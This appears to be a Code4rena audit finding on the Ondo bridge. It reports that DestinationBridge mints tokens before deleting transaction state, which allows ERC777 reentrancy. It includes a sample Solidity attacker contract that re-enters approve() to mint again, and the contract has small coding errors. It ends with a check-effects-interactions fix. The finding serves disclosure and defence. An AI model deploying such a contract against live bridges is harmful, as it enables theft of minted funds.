Lucene search

K
code423n4Code4renaCODE423N4:2023-09-ONDO-FINDINGS-ISSUES-414
HistorySep 07, 2023 - 12:00 a.m.

Stealing extra mint fund by applying reentrancy attack on _execute with calling approve() again due to external call before crucial state update

2023-09-0700:00:00
Code4rena
github.com
10
reentrancy attack
mint fund theft
approve function
external call
state update
erc777 token
security vulnerability

Lines of code
<https://github.com/code-423n4/2023-09-ondo/blob/main/contracts/bridge/DestinationBridge.sol#L350&gt;

Vulnerability details

Impact

By applying reentrancy attack involving the function _mintIfThresholdMet(), an user can steal extra amount of mint fund.

Proof of Concept

The functions _mintIfThresholdMet() make external mint call prior to updating the txnHashToTransaction state. If the real world asset tokens contains an ERC777 token, attacker can mint free RWA tokens again.

  • Bob has a contract that is an approver
    A sample bob contract has this:

    interface IBridge {
    function approve(bytes32 txnHash) external {}
    }
    contract AttackBridge {

    address private owner;
    IBridge private bridge;
    
    IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
    
    bytes32 txnHash;
    
    constructor(address _bridge, bytes32 _txnHash) {
        owner = msg.sender;
        bridge = Bridge(_bridge);
        txnHash = _txnHash;
    
        _ERC1820_REGISTRY.setInterfaceImplementer(
            address(this),
            _ERC1820_REGISTRY.interfaceHash("ERC777TokensRecipient"),
            address(this)
        );
    }
    
    function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external {
        require(msg.sender == address(bridge), "not bridge");
    
        bridge.approve(txhash);
    }
    

    }

  • Bob uses contract to make bridge operation

  • _execute function gets called on destination chain contract which call the _mintIfThresholdMet.

  • after receiving mint, contract reenter before transaction state is deleted and calls approve to mint again

Tools Used

Visual Studio Code

Recommended Mitigation Steps

Move external calls after state updates. It is best practice to make external calls after updating state in accordance with the check-effect-interact pattern.
so specifically, change this line of code to this:

-      TOKEN.mint(txn.sender, txn.amount);
-     delete txnHashToTransaction[txnHash];
+      delete txnHashToTransaction[txnHash];
+      TOKEN.mint(txn.sender, txn.amount);

Assessed type

Reentrancy


The text was updated successfully, but these errors were encountered:

All reactions